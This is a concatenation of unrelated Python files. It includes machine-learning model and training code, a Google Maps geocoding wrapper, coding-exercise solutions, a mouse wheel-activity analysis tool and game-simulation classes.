initializes the Tunnel Elements
currently initializes red/blue/green colored hexagonal shapes
Ideas:
Different modes between which the initializer switches
The hope is that interesting behavioral patterns emerge
"""
class ElementInitiator:
    inlines = [ "BaseHex" ]
    basefrequency = 7

    #initialization of the ElementInitiator
    #handles importing of the modules and classes needed automatically
    #pump out tunnel element objects
    def __init__(self, tunnel, frequency = basefrequency):
        #upward reference to the tunnel manager
        self.tunnel = tunnel
        inlinemodule = importlib.import_module("inline")
        #the inlines list is populated with references to the class objects
        #of the inline classes named in the inlines list
        self.inlines = [ getattr(inlinemodule, inline) for inline in ElementInitiator.inlines ]
        #not used yet, but this is where the magic is planned
        self.wildness = 1
        #three basic RGB color values: a red, green and a blue
        self.colors = [[228,12,24], [12,228,24], [12,24,228]]
        self.lastcolor = 0
        #the frequency in ticks when new elements are produced
        self.frequency = frequency
        self.clock = frequency + 1

    #initializes a single TunnelElement
    def getelement(self):
        return TunnelElement(self.inlines[random.randrange(len(self.inlines))](), self.nextcolor(), self.tunnel)

    #adds a TunnelElement to the Tunnel managers element list
    def addelement(self, element):
        self.tunnel.elements.insert(0, element)

    #specifies one of the three base colors as next color
    #currently returns a FluctuatingFill object with that color
    #will return different kinds of Texture objects in the future
    #doesnt pick the same color twice in a row
    def nextcolor(self):
        index = random.randrange(len(self.colors) - 1)
        if index == self.lastcolor:
            index += 1
        self.lastcolor = index
        return FluctuatingFill(self.colors[index])

    #randomizes the initialized element
    #currently only randomizes rotation direction
    #this is where the magic with the wildness value is planned to play out
    def randomize_element(self, element):
        if bool(random.getrandbits(1)):
            element.inverse_turndirection()

    #act method, increases clock and spawns element if timing is met
    def act(self):
        self.clock += 1
        if self.clock > self.frequency:
            self.clock = 0
            element = self.getelement()
            self.randomize_element(element)
            self.addelement(element)

#alternative deprecated implementation of the tunnel class
#kept for redundancy
class CheapTunnel(Tunnel):
    def __init__(self, maincontroller):
        Tunnel.__init__(self, maincontroller)
        colors = [FluctuatingFill([228,12,24]), FluctuatingFill([12,228,24]), FluctuatingFill([12,24,228])]
        self.elements = [TunnelElement(Rectangle(100, 100), colors[i % 3], self) for i in range(9)]
        for i in range(len(self.elements)):
            self.elements[i].current_scale += i

    def act(self):
        for element in self.elements:
            element.act()
            if element.current_scale > 10:
                self.elements.remove(element)
                self.elements.insert(0, TunnelElement(Rectangle(100,100), element.texture, self))
                self.randomize_movement(self.elements[0])
                del element

    def randomize_movement(self, element):
        if bool(random.getrandbits(1)):
            element.rotation_angle = -element.rotation_angle


from src.models.model import Encoder, Decoder, Discriminator
from src.trainer import Trainer
from src.dataset import MNISTToSVHN
from torch.utils.data import DataLoader

import os

mnist_to_svhn_dataset = MNISTToSVHN(
    mnist_img_dir=os.path.abspath("./mnist"),
    svhn_img_dir=os.path.abspath("./svhn"),
)
data_loader = DataLoader(mnist_to_svhn_dataset, batch_size=10, shuffle=True)
trainer = Trainer(
    encoder=Encoder(),
    decoder=Decoder(),
    discriminator=Discriminator(),
    data_loader=data_loader,
    a=100,
    b=1,
    c=0.05
)
trainer.train(100)


""" Full assembly of the parts to form the complete network """

import torch.nn.functional as F
import torch

from .unet_parts import *

class UNet(nn.Module):
    def __init__(self, in_channels, out_channels):
        super(UNet, self).__init__()
        self.in_channels = in_channels
        self.out_channels = out_channels
        self.inc = inconv(in_channels, 64)
        self.down1 = down(64, 128)
        self.down2 = down(128, 256)
        self.down3 = down(256, 512)
        self.down4 = down(512, 512)
        self.up1 = up(1024, 256)
        self.up2 = up(512, 128)
        self.up3 = up(256, 64)
        self.up4 = up(128, 64)
        self.outc = outconv(64, out_channels)

        for m in self.modules():
            if isinstance(m, nn.Conv2d):
                # n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
                # m.weight.data.normal_(0, math.sqrt(2. / n))
                torch.nn.init.kaiming_normal_(m.weight)
            elif isinstance(m, nn.BatchNorm2d):
                m.weight.data.fill_(1)
                m.bias.data.zero_()

    def forward(self, x):
        x1 = self.inc(x)
        x2 = self.down1(x1)
        x3 = self.down2(x2)
        x4 = self.down3(x3)
        x5 = self.down4(x4)
        x = self.up1(x5, x4)
        x = self.up2(x, x3)
        x = self.up3(x, x2)
        x = self.up4(x, x1)
        x = self.outc(x)
        return F.relu(x)


# Standard Library Imports
import collections
from datetime import datetime, timedelta
import logging
import time
import json
import traceback

# 3rd Party Imports
from requests.packages.urllib3.util import Retry
import requests
from gevent.lock import Semaphore

# Local Imports
from PokeAlarm import Unknown
from PokeAlarm.Utilities.GenUtils import synchronize_with

log = logging.getLogger("Gmaps")

class GMaps(object):

    # Available travel modes for Distance Matrix calls
    TRAVEL_MODES = frozenset(["walking", "biking", "driving", "transit"])

    # Maximum number of requests per second
    _queries_per_second = 50
    # How often to warn about going over query limit
    _warning_window = timedelta(minutes=1)

    def __init__(self, api_key):
        self._key = api_key
        self._lock = Semaphore

        # Create a session to handle connections
        self._session = self._create_session()

        # Sliding window for rate limiting
        self._window = collections.deque(maxlen=self._queries_per_second)
        self._time_limit = datetime.utcnow()

        # Memoization dicts
        self._geocode_hist = {}
        self._reverse_geocode_hist = {}
        self._dm_hist = {key: dict() for key in self.TRAVEL_MODES}

    # TODO: Move into utilities
    @staticmethod
    def _create_session(retry_count=3, pool_size=3, backoff=0.25):
        """Create a session to use connection pooling."""

        # Create a session for connection pooling and
        session = requests.Session()

        # Reattempt connection on these statuses
        status_forcelist = [500, 502, 503, 504]

        # Define a Retry object to handle failures
        retry_policy = Retry(
            total=retry_count, backoff_factor=backoff, status_forcelist=status_forcelist
        )

        # Define an Adapter, to limit pool and implement retry policy
        adapter = requests.adapters.HTTPAdapter(
            max_retries=retry_policy, pool_connections=pool_size, pool_maxsize=pool_size
        )

        # Apply Adapter for all HTTPS (no HTTP for you!)
        session.mount("https://", adapter)

        return session

    def _make_request(self, service, params=None):
        """Make a request to the GMAPs API."""
        # Rate Limit - All APIs use the same quota
        if len(self._window) == self._queries_per_second:
            # Calculate elapsed time since start of window
            elapsed_time = time.time() - self._window[0]
            if elapsed_time < 1:
                # Sleep off the difference
                time.sleep(1 - elapsed_time)

        # Create the correct url
        url = f"https://maps.googleapis.com/maps/api/{service}/json"

        # Add in the API key
        if params is None:
            params = {}
        params["key"] = self._key

        # Use the session to send the request
        log.debug("%s request sending.", service)
        self._window.append(time.time())
        request = self._session.get(url, params=params, timeout=3)

        if not request.ok:
            log.debug(
                "Response body: %s",
                json.dumps(request.json(), indent=4, sort_keys=True),
            )
            # Raise HTTPError
            request.raise_for_status()

        log.debug(
            "%s request completed successfully with response %s.",
            service,
            request.status_code,
        )
        body = request.json()
        if body["status"] == "OK" or body["status"] == "ZERO_RESULTS":
            return body
        elif body["status"] == "OVER_QUERY_LIMIT":
            raise UserWarning("API Quota exceeded.")
        else:
            raise ValueError(f"Unexpected response status:\n {body}")

    @synchronize_with()
    def geocode(self, address, language="en"):
        # type: (str, str) -> tuple
        """Returns 'lat,lng' associated with the name of the place."""
        # Check for memoized results
        address = address.lower()
        if address in self._geocode_hist:
            return self._geocode_hist[address]
        # Set default in case something happens
        latlng = None
        try:
            # Set parameters and make the request
            params = {"address": address, "language": language}
            response = self._make_request("geocode", params)
            # Extract the results and format into a dict
            response = response.get("results", [])
            response = response[0] if len(response) > 0 else {}
            response = response.get("geometry", {})
            response = response.get("location", {})
            if "lat" in response and "lng" in response:
                latlng = float(response["lat"]), float(response["lng"])

            # Memoize the results
            self._geocode_hist[address] = latlng
        except requests.exceptions.HTTPError as e:
            log.error("Geocode failed with HTTPError: %s", e.message)
        except requests.exceptions.Timeout as e:
            log.error("Geocode failed with connection issues: %s", e.message)
        except UserWarning:
            log.error("Geocode failed because of exceeded quota.")
        except Exception as e:
            log.error(
                "Geocode failed because unexpected error has occurred: %s - %s",
                type(e).__name__,
                e,
            )
            log.error("Stack trace: \n %s", traceback.format_exc())
        # Send back tuple
        return latlng

    _reverse_geocode_defaults = {
        "street_num": Unknown.SMALL,
        "street": Unknown.REGULAR,
        "address": Unknown.REGULAR,
        "address_eu": Unknown.REGULAR,
        "postal": Unknown.REGULAR,
        "neighborhood": Unknown.REGULAR,
        "sublocality": Unknown.REGULAR,
        "city": Unknown.REGULAR,
        "county": Unknown.REGULAR,
        "state": Unknown.REGULAR,
        "country": Unknown.REGULAR,
    }

    @synchronize_with()
    def reverse_geocode(self, latlng, language="en"):
        # type: (tuple, str) -> dict
        """Returns the reverse geocode DTS associated with 'lat,lng'."""
        latlng = f"{latlng[0]:.5f},{latlng[1]:.5f}"
        # Check for memoized results
        if latlng in self._reverse_geocode_hist:
            return self._reverse_geocode_hist[latlng]
        # Get defaults in case something happens
        dts = self._reverse_geocode_defaults.copy()
        try:
            # Set parameters and make the request
            params = {"latlng": latlng, "language": language}
            response = self._make_request("geocode", params)
            # Extract the results and format into a dict
            response = response.get("results", [])
            response = response[0] if len(response) > 0 else {}
            details = {}
            for item in response.get("address_components"):
                for category in item["types"]:
                    details[category] = item["short_name"]

            # Note: for addresses on unnamed roads, EMPTY is preferred for
            # 'street_num' and 'street' to avoid DTS looking weird
            dts["street_num"] = details.get("street_number", Unknown.EMPTY)
            dts["street"] = details.get("route", Unknown.EMPTY)
            dts["address"] = f'{dts["street_num"]} {dts["street"]}'
            dts["address_eu"] = f'{dts["street"]} {dts["street_num"]}'
            # Europeans are backwards
            dts["postal"] = details.get("postal_code", Unknown.REGULAR)
            dts["neighborhood"] = details.get("neighborhood", Unknown.REGULAR)
            dts["sublocality"] = details.get("sublocality", Unknown.REGULAR)
            dts["city"] = details.get(
                "locality", details.get("postal_town", Unknown.REGULAR)
            )
            dts["county"] = details.get("administrative_area_level_2", Unknown.REGULAR)
            dts["state"] = details.get("administrative_area_level_1", Unknown.REGULAR)
            dts["country"] = details.get("country", Unknown.REGULAR)

            # Memoize the results
            self._reverse_geocode_hist[latlng] = dts
        except requests.exceptions.HTTPError as e:
            log.error("Reverse Geocode failed with HTTPError: %s", e.message)
        except requests.exceptions.Timeout as e:
            log.error("Reverse Geocode failed with connection issues: %s", e.message)
        except UserWarning:
            log.error("Reverse Geocode failed because of exceeded quota.")
        except Exception as e:
            log.error(
                "Reverse Geocode failed because unexpected error has occurred: %s - %s",
                type(e).__name__,
                e,
            )
            log.error("Stack trace: \n %s", traceback.format_exc())
        # Send back dts
        return dts

    @synchronize_with()
    def distance_matrix(self, mode, origin, dest, lang, units):
        # Check for valid mode
        if mode not in self.TRAVEL_MODES:
            raise ValueError(f"DM doesn't support mode '{mode}'.")
        # Estimate to about ~1 meter of accuracy
        origin = f"{origin[0]:.5f},{origin[1]:.5f}"
        dest = f"{dest[0]:.5f},{dest[1]:.5f}"

        # Check for memorized results
        key = f"{origin}:{dest}"
        if key in self._dm_hist:
            return self._dm_hist[key]

        # Set defaults in case something happens
        dist_key = f"{mode}_distance"
        dur_key = f"{mode}_duration"
        dts = {dist_key: Unknown.REGULAR, dur_key: Unknown.REGULAR}
        try:
            # Set parameters and make the request
            params = {
                "mode": mode,
                "origins": origin,
                "destinations": dest,
                "language": lang,
                "units": units,
            }

            # Extract the results and format into a dict
            response = self._make_request("distancematrix", params)
            response = response.get("rows", [])
            response = response[0] if len(response) > 0 else {}
            response = response.get("elements", [])
            response = response[0] if len(response) > 0 else {}

            # Set the DTS
            dts[dist_key] = response.get("distance", {}).get("text", Unknown.REGULAR)
            dts[dur_key] = response.get("duration", {}).get("text", Unknown.REGULAR)
        except requests.exceptions.HTTPError as e:
            log.error("Distance Matrix failed with HTTPError: %s", e.message)
        except requests.exceptions.Timeout as e:
            log.error("Distance Matrix failed with connection issues: %s", e.message)
        except UserWarning:
            log.error("Distance Matrix failed because of exceeded quota.")
        except Exception as e:
            log.error(
                "Distance Matrix failed because unexpected error has occurred: %s - %s",
                type(e).__name__,
                e,
            )
            log.error("Stack trace: \n %s", traceback.format_exc())
        # Send back DTS
        return dts


# 시작: 8시 48분
# 종료: 9시 14분... 정말 힘겹게 풀었으나 파이썬은 replace라는 비장의 무기가 있기 때문에 안 사용한 내가 바보가 되었다.

def solution(s):

    answer = ''

    initial = {
        'ze': [4, 0],
        'on': [3, 1],
        'tw': [3, 2],
        'th': [5, 3],
        'fo': [4, 4],
        'fi': [4, 5],
        'si': [3, 6],
        'se': [5, 7],
        'ei': [5, 8],
        'ni': [4, 9]
    }

    while(len(s)!= 0) :
        if s[0].isdigit():
            answer += s[0]
            s = s[1:]
        else:
            word_info = initial[s[:2]]
            answer += str(word_info[1])
            s = s[word_info[0]:]

    return int(answer)

숫자 문자열과 영단어.py


# 15. 이분 그래프
import sys
sys.setrecursionlimit(10**7)
sys.stdin = open('input.txt')
input = sys.stdin.readline

K = int(input())

def dfs(graph, idx, color):
    global visited, color_check

    visited[idx] = True
    new_color = "red"
    if color == "red":
        new_color = "black"
    check_color[idx] = new_color

    for node in graph[idx]:
        if not visited[node]:
            dfs(graph, node, new_color)

for _ in range(K):
    V, E = map(int, input().split())

    graph = [[] for _ in range(V + 1)]
    visited = [False for _ in range(V + 1)]
    check_color = {}

    for _ in range(E):
        u, v = map(int, input().split())
        graph[u].append(v)
        graph[v].append(u)

    dfs(graph, 1, "red")

    flag = True
    for idx in range(1, len(graph)):
        for n in graph[idx]:
            if idx not in check_color:
                dfs(graph, idx, "red")
            if n not in check_color:
                dfs(graph, n, "red")
            if check_color[idx] == check_color[n]:
                flag = False
                break

    if flag:
        print("YES")
    else:
        print("NO")


import pandas as pd

data=pd.read_csv('ratings.csv', delimiter=',')
data.head()

def raiting_class(row):
    if row.rating >= 4.5:
        return 'высокий рейтинг'
    elif 2 < row.rating < 4.5:
        return 'средний рейтинг'
    elif row.rating <= 2:
        return 'низкий рейтинг'

data['class2'] = data.apply(raiting_class, axis=1)
print (data)

Задание 1.py


class SinglyLinkedListNode:
    def __init__(self, node_data):
        self.data = node_data
        self.next = None

class SinglyLinkedList:
    def __init__(self):
        self.head = None
        self.tail = None

    def insert_node(self, node_data):
        node = SinglyLinkedListNode(node_data)

        if not self.head:
            self.head = node
        else:
            self.tail.next = node

        self.tail = node

def print_singly_linked_list(node):
    while node:
        print(node.data, end=" ")
        node = node.next

def insertNodeAtPosition(head, data, position):
    node = head
    if position == 0:
        new_node = SinglyLinkedListNode(data)
        new_node.next = head
        return new_node
    count = 1
    while count < position and node:
        count += 1
        node = node.next
    new_node = SinglyLinkedListNode(data)
    new_node.next = node.next
    node.next = new_node
    return head

# def insertNodeAtPosition(head, data, position):
#     new_node = SinglyLinkedListNode(data)
#     temp = head
#     if position == 0:
#         temp = new_node
#         return temp
#     else:
#         position = position - 1
#         while position > 0:
#             temp = temp.next
#             position -= 1
#         new_node.next = temp.next
#         temp.next = new_node
#         return head

if __name__ == '__main__':
    llist_count = int(input())

    llist = SinglyLinkedList()

    for _ in range(llist_count):
        llist_item = int(input())
        llist.insert_node(llist_item)

    data = int(input())
    position = int(input())

    llist_head = insertNodeAtPosition(llist.head, data, position)
    print_singly_linked_list(llist_head)


# -*- coding: utf-8 -*-
"""
Script for analyzing WRAQ data for voluntary mouse activity in home cage

Details redacted for BLIND REVIEW

"""

import tkinter
from tkinter import filedialog
import pandas as pd
import os
import matplotlib.pyplot as plt
import numpy as np
import datetime
import time

class WRAQ(object):
    """
    A class for analyzing WRAQ data for volunatry mouse activity in home cage

    ...

    Attributes
    ----------
    wraqtype : str
        type of wraq system used for the data acquisition
    direc : str
        Folder of the data file
    filepath : str
        Filepath of the data file
    radius : str
        radius of the wheel used  in cm
    cycleperiod : int
        the moduloperiod for actogram calculation
    timeres : str
        time resolution of the data acquisition in seconds
    n_sample : str
        total number of data sample points saved
    n_perday_sample : int
        number of data sample points per day

    Methods
    -------
    get_filepath()
        Opens the dialog box to select the .csv file of the wheelrunner activity.

    read_csvtopandas()
        Read the csv file as pandas dataframe

    wraq2actj(timezone, startdatetime)
        Convert the WRAQ data to actogramj compatible file with time stamp in UTC or JST

    distance_day(rev)
        Calculate distance travelled per day.

    actogram_modulo(startdatetime)
        get actogram data over cycleperiod

    perday_activity(startdatetime)
        output the .csv file as per day average activity which includes
           'Presumptive distance travelled/day (cm)'
           'Total duration of activity/day (minutes)'
           'Number of Revolutions/day'

           Per day refers to 24 hour period starting from zetigeber time12
           as set by the startdatetime

    """
    def __init__(self, wraqtype, period):
        """

        Parameters
        ----------
        wraqtype : TYPE
            wraq or wraq-wifi
        period : TYPE
            24 for 24 hour modulo actogram

        Returns
        -------
        None.

        """

        self.wraqtype = wraqtype
        self.direc, self.filepath = self.get_filepath()
        self.radius =  4 # in cm
        self.cycleperiod = period
        self.timeres = 4 # in sec
        if (str(wraqtype) == 'wraq-wifi'):
            self.timeres = 300 # in sec
        self.n_sample = int(self.cycleperiod * 60 * 60/ self.timeres)
        self.n_perday_sample = int(24 * 60 * 60/ self.timeres)

    def get_filepath(self):
        """

        Returns
        -------
        direc : TYPE
            full path of directory of the data file (.csv) to be analyzed
        filepath : TYPE
            full filepath of .csv file

        """

        root = tkinter.Tk()
        root.withdraw()
        filepath = filedialog.askopenfilename()
        direc = os.path.dirname(filepath)
        os.chdir(direc)
        self.outdir = direc + str('/out')
        return direc, filepath

    def read_csvtopandas(self):
        """

        Returns
        -------
        None.

        """
        self.df = pd.read_csv(self.filepath, header=None)

    def wraq2actj(self, timezone, startdatetime):
        """

        Parameters
        ----------
        timezone : TYPE
            'UTC' or 'JST'

        startdatetime : TYPE
            time starts at zeitgeber time 12 . input the ZT12
            format of startdatetime is  YYYY-MM-DD HH:MM:SS" example "2021-08-20 23:05:01"
            if no correction needed startdatetime  = "0"

        Returns
        -------
        .csv file compatible with ActogramJ

        """

        fin = self.filepath
        #print(fin)
        fbase = os.path.splitext(fin)[0]
        fext = os.path.splitext(fin)[1]
        fout = fbase + '_padded' + fext
        if (self.wraqtype == 'wraq'):
            self.read_csvtopandas()
            df = self.df
            if (len(df.columns) == 3):
                df.columns = ['DateandTime', 'rev', 'illum']

            else:
                df.columns = ['Date', 'Time', 'rev', 'illum']
                df['Date'] = pd.to_datetime(df['Date'].astype(str), format='%Y%m%d')
                df['Time'] = pd.to_datetime(df['Time']).dt.time
                df['DateandTime'] = [datetime.datetime.combine(a, b) for a, b in zip(df['Date'], df['Time'])]
                df['Date'] = pd.to_datetime(df['Date'], errors='coerce')
            if (startdatetime == '0'):
                df1 = df.copy()
            else:
                df1 = df.copy()
                df1 = df.iloc[df.index[df['DateandTime'] == startdatetime].values[0]:]
                df1.reset_index(inplace = False)
            df1.to_csv(fout, index=False, header=False)

        if (self.wraqtype == 'wraq-wifi'):
            df = pd.read_csv(fin) # to keep the header
            #print(df)
            df.created=pd.to_datetime(df.created)
            df.columns = ['created', 'd1', 'd2', 'd3',
                          'd4', 'd5', 'd6', 'd7', 'd8']
            df = df.sort_values('created')
            df = df.set_index('created')
            if (timezone == 'UTC'):
                df.index = pd.to_datetime(df.index) + pd.DateOffset(hours=9)
                ts_onset = pd.Timestamp(df.index[0].date()).tz_localize('UTC')
                ts_onset = ts_onset - pd.DateOffset(1) + pd.DateOffset(hours=9)
            if (timezone == 'JST'):
                df.index = pd.to_datetime(df.index).tz_localize(None)
                ts_onset = pd.Timestamp(df.index[0].to_pydatetime()).tz_localize(None)

            df1 = df.copy()
            df1.reset_index(inplace = True)
            if (startdatetime != '0'):
                df1 = df1.iloc[df1.index[df1['created'] == startdatetime].values[0]:]
                df1.reset_index(inplace = False)

            row_df = pd.DataFrame({'d1':[0], 'd2':[0]}, index=[ts_onset])
            df = pd.concat([row_df, df])
            newd1 = df.resample('5T')['d1'].sum()
            newd2 = df.resample('5T')['d2'].sum()
            df = pd.concat([newd1, newd2], axis=1)
            df1.to_csv(fout, index=False, header=False)

        print(fin + ': successfully converted into ' + fout)

    def distance_day(self, rev):
        """

        Parameters
        ----------
        rev : TYPE
            DESCRIPTION.

        Returns
        -------
        distance : TYPE
            DESCRIPTION.

        """
        distance = 3.14 * 2 * self.radius * rev
        return distance

    def actogram_modulo(self, startdatetime):
        """

        Parameters
        ----------
        startdatetime : TYPE
            time starts at zeitgeber time 12 . input the ZT12
            format of startdatetime is  YYYY-MM-DD HH:MM:SS" example "2021-08-20 23:05:01"
            if no correction needed startdatetime  = "0"

        Returns
        -------
        actogram_data : TYPE
            DESCRIPTION.

        """

        #print(startdatetime)
        if (startdatetime == '0'):
            df1 = self.df
        else:
            df = self.df
            df1 = df.iloc[df.index[df['DateandTime'] == startdatetime].values[0]:]
            df1.reset_index(inplace = True)
        self.trans_df = df1
        self.runningdays = int(len(df1) / self.n_perday_sample)
        actogram_data = np.zeros((self.runningdays, self.n_sample))
        for i in range(self.runningdays):
            startind = i * self.n_perday_sample
            endind = (i + 1) * self.n_sample
            splitind = self.n_sample
            if (i == (self.runningdays - 1)):
                endind = i * self.n_perday_sample + len(df1) % self.n_sample
                splitind = len(df1) % self.n_sample
            actogram_data[i, 0:splitind] = df1['rev'].iloc[startind : endind]

        return actogram_data

    def perday_activity(self, startdatetime):
        """

        Parameters
        ----------
        startdatetime : TYPE
            time starts at zeitgeber time 12 . input the ZT12
            format of startdatetime is  YYYY-MM-DD HH:MM:SS" example "2021-08-20 23:05:01"
            if no correction needed startdatetime  = "0"

        Returns
        -------
        Saves .csv file under 'out' folder within the data directory with the average activity per day
        (zeitgeber time used for day calculations)

        """
        fin = self.filepath
        self.read_csvtopandas()
        df =  self.df

        if (self.wraqtype == 'wraq-wifi'):
            df['Date'] = pd.to_datetime(df[0]).dt.date
            df['Date'] = pd.to_datetime(df['Date'], errors='coerce')
            df['Time'] = pd.to_datetime(df[0]).dt.time
            df['DateandTime'] = [datetime.datetime.combine(a, b) for a, b in zip(df['Date'], df['Time'])]
            df.columns = ['DateandTime-a', 'rev', 'illum', 'Date', 'Time', 'DateandTime']

        if (self.wraqtype  == 'wraq'):
            if (len(df.columns) == 3):
                df.columns = ['DateandTime', 'rev', 'illum']

            else:
                df.columns = ['Date', 'Time', 'rev', 'illum']
                df['Date'] = pd.to_datetime(df['Date'].astype(str), format='%Y%m%d')
                df['Time'] = pd.to_datetime(df['Time']).dt.time
                df['DateandTime'] = [datetime.datetime.combine(a, b) for a, b in zip(df['Date'], df['Time'])]
                df['Date'] = pd.to_datetime(df['Date'], errors='coerce')

        rev_listperday = self.actogram_modulo(startdatetime)
        df = self.trans_df

        distperday = np.zeros(self.runningdays)
        for i in range(self.runningdays):
            distperday[i] = self.distance_day(np.sum(rev_listperday[i]))

        revperday = np.sum(rev_listperday, axis=1)
        durationperday = np.sum(rev_listperday, axis=1)* self.timeres/(60)
        if not os.path.exists(self.outdir):
            os.makedirs(self.outdir)
        fw=self.outdir + str('/') + str(time.strftime("%Y%m%d")) + str('_') +  os.path.basename(self.filepath).replace('.csv', 'outfile.csv').replace('.CSV', 'outfile.csv')
        datafin = np.array([distperday, durationperday, revperday])
        dfg = pd.DataFrame(datafin.T)
        dfg.index += 1 # start index at 1
        dfg.to_csv(fw, index=True, index_label='Day_id', header= ['Presumptive distance travelled/day (cm)', 'Total duration of activity/day (minutes)', 'Number of Revolutions/day'])

if __name__ == '__main__':

    print("")


import re
lst_in = ['Системный блок: 1500 75890.56', 'Монитор Samsung: 2000 34000', 'Клавиатура: 200.44 545', 'Монитор Samsung: 2000 34000']

import sys
import re

class ShopItem:
    def __init__(self, name, weight, price):
        self.name = name.capitalize()
        self.weight = weight
        self.price = price
        self.count = 1
    def __hash__(self):
        return hash((self.name, self.weight, self.price))
    def __eq__(self, other):
        return hash(self) == hash(other)

shop_items = {}
for item in lst_in:
    # good = re.search(r'([a-zA-Zа-яА-Я-]*\s?[a-zA-Zа-яА-Я-]+)(?=:)', item).group(0).strip()
    good = item[:item.index(':')]
    # weight = re.search(r'(?<=:\s)\d+\.?\d+', item).group(0).strip()
    weight = item.split()[-2]
    # price = re.search(r'(?<=\d\s)\d+\.?\d+', item).group(0).strip()
    price = item.split()[-1]
    print(good, weight, price)
    a = ShopItem(good, weight, price)
    if a in shop_items.keys():
        a.count += 1
    shop_items[a] = [a, a.count]

it1 = ShopItem('name', 10, 11)
it2 = ShopItem('name', 10, 11)
assert hash(it1) == hash(it2), "разные хеши у равных объектов"

it2 = ShopItem('name', 10, 12)
assert hash(it1) != hash(it2), "равные хеши у разных объектов"

it2 = ShopItem('name', 11, 11)
assert hash(it1) != hash(it2), "равные хеши у разных объектов"

it2 = ShopItem('NAME', 10, 11)
assert hash(it1) == hash(it2), "разные хеши у равных объектов"

name = lst_in[0].split(':')
for sp in shop_items.values():
    assert isinstance(sp[0], ShopItem) and type(sp[1]) == int, "в значениях словаря shop_items первый элемент должен быть объектом класса ShopItem, а второй - целым числом"

v = list(shop_items.values())
if v[0][0].name.strip() == "Системный блок":
    assert v[0][1] == 1 and v[1][1] == 2 and v[2][1] == 1 and len(v) == 3, "неверные значения в словаре shop_items"
print(v)
print(v[0][1], v[1][1], v[2][1], len(v), sep='\n')
print('='*10)

if v[0][0].name.strip() == "X-box":
    assert v[0][1] == 2 and v[1][1] == 1 and v[2][1] == 2 and len(v) == 3, "неверные значения в словаре shop_items"
print(v[0][0].name.strip())
print(v[0][1], v[1][1], v[2][1], len(v), sep='\n')


import random
import time
from datetime import datetime, timedelta
from enum import Enum
from game.ai.nation_ai import NationAI

from random_functions import random_functions

class EconomicState(Enum):
    RECESSION = 1
    DEPRESSION = 2
    EXPANSION = 3
    RECOVERY = 4

leaders = {
    "1910": "Emperor Xuantong",
    "1914": "Yuan Shikai",
    "1918": "Xu Shichangi",
    "1932": "Lin Sen",
    "1936": "Lin Sen",
    "1939": "Lin Sen"
}
monarchs = {
    "1910": "Emperor Xuantong",
    "1914": "Emperor Xuantong",
    "1918": "Emperor Xuantong",
    "1932": "Emperor Xuantong",
    "1936": "Emperor Xuantong",
    "1939": "Emperor Xuantong"
}

population = {
    "1910": 422250794,
    "1914": 438552995,
    "1918": 457741400,
    "1932": 494506632,
    "1936": 506322173,
    "1939": 514761109
}
gdp = {
    "1910": 17340421053,
    "1914": 19231073684,
    "1918": 23090862632,
    "1932": 48070526316,
    "1936": 60420631579,
    "1939": 54934157895
}

class ChinaAI(NationAI):
    def __init__(self, globe):
        super().__init__(globe)
        self.region = "asia"
        self.name = "Republic of China"
        # social variables
        """population"""
        self.population = population[str(globe.date.year)]
        # political
        self.leader = leaders[str(globe.date.year)]
        self.political_power = 200
        self.political_exponent = 1.56
        """Stability"""
        self.stability = 95.56
        # economic
        self.corporate_taxes = 24.00
        self.income_taxes = 20.00
        self.current_gdp = gdp[str(globe.date.year)]
        """Components of GDP"""
        self.consumer_spending = 200
        self.investment = 300
        self.government_spending = 350
        self.exports = 1000
        self.imports = 1200
        """Economic Stimulus components"""
        self.economic_stimulus = False
        # military
        # international
        self.alliance = ""
        self.us_relations = 34.56
        # other

    # main function
    def main(self, globe):
        while self.population > 5000000:
            super().check_economic_state()
            super().check_population_growth()
            # random_functions.random_functions(self, globe)
            super().stability_happiness_change(globe)
            self.stability_happiness_change(globe)
            self.date += timedelta(days=1)
            break


import model as md
import datetime
import importlib
import os
importlib.reload(md)
from sklearn.preprocessing import StandardScaler
from sklearn.metrics import roc_auc_score
from keras.models import Model
from keras.layers import Dense, Input, Embedding, Dropout, Activation, Reshape, Flatten
from keras.layers.merge import concatenate, dot, add, multiply
from keras.layers.normalization import BatchNormalization
from keras.layers.advanced_activations import LeakyReLU, PReLU, ELU
from keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau, LearningRateScheduler
from keras.regularizers import l1, l2, l1_l2
from keras.initializers import RandomUniform
from keras.optimizers import RMSprop, Adam, SGD
from sklearn.metrics import roc_auc_score
import keras.backend as K
from nn_generator import DataGenerator
from keras.utils import multi_gpu_model
import tensorflow as tf
from nn_generator import DataGenerator
from sklearn.metrics import roc_auc_score
from keras.callbacks import Callback
import pandas as pd
from tqdm import tqdm
import numpy as np
import keras
from collections import defaultdict
import gc
import os
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import OneHotEncoder
from sklearn.preprocessing import StandardScaler

from IPython.display import SVG
from keras.utils.vis_utils import model_to_dot
# train_nn list of np.array [np.array]
os.environ["CUDA_VISIBLE_DEVICES"] = "0"

single_features = ['uid','LBS','carrier','consumptionAbility','age','gender','house','education']
# multi_features = ["appIdAction","appIdInstall","ct","interest1","interest2","interest3",
#                   "interest4","interest5","kw1","kw2","kw3","os","topic1","topic2","topic3","marriageStatus"]
multi_features = ["ct","interest1","interest2","interest3",
                  "interest4","interest5","kw1","kw2","kw3","os","topic1","topic2","topic3","marriageStatus"]

ad_embedding_features_single = ['aid','advertiserId','campaignId','adCategoryId','productId','productType'] #'creativeId'
ad_numeric=['creativeSize']
usr_embedding_features_single= ['LBS','carrier','gender','education','house','age','consumptionAbility']
usr_numeric = ['house','age','consumptionAbility']

def loaddata():

    train = pd.read_csv("data/preliminary_contest_data/train.csv",engine='c')
    test = pd.read_csv("data/preliminary_contest_data/test1.csv",engine='c')
    adattrs = pd.read_csv("data/preliminary_contest_data/adFeature.csv",engine='c')
    usersingle = pd.read_csv("data/preliminary_contest_data/unstack_single_train.csv",engine='c')
    train_nn = []
    for feat in tqdm(multi_features):
        tmp_trnn = pd.read_csv("data/preliminary_contest_data/%s_nn_train.csv" % feat,engine='c')
        tmp_trnn.fillna(0,inplace=True)

        tmp_trnn = tmp_trnn.astype('int32')
        train_nn.append(tmp_trnn.values)
        del tmp_trnn
    # encoding
    from sklearn.preprocessing import LabelEncoder
    le = LabelEncoder()
    for feat in ['advertiserId','campaignId','creativeId','adCategoryId','productId','productType']:
        adattrs[feat] = le.fit_transform(adattrs[feat])
    #merge all data together
    trainmerge = train.merge(adattrs,on='aid',how='left')
    trainmerge = trainmerge.merge(usersingle,on='uid',how='left')
    trainmerge['label'] = (trainmerge['label']+1)/2
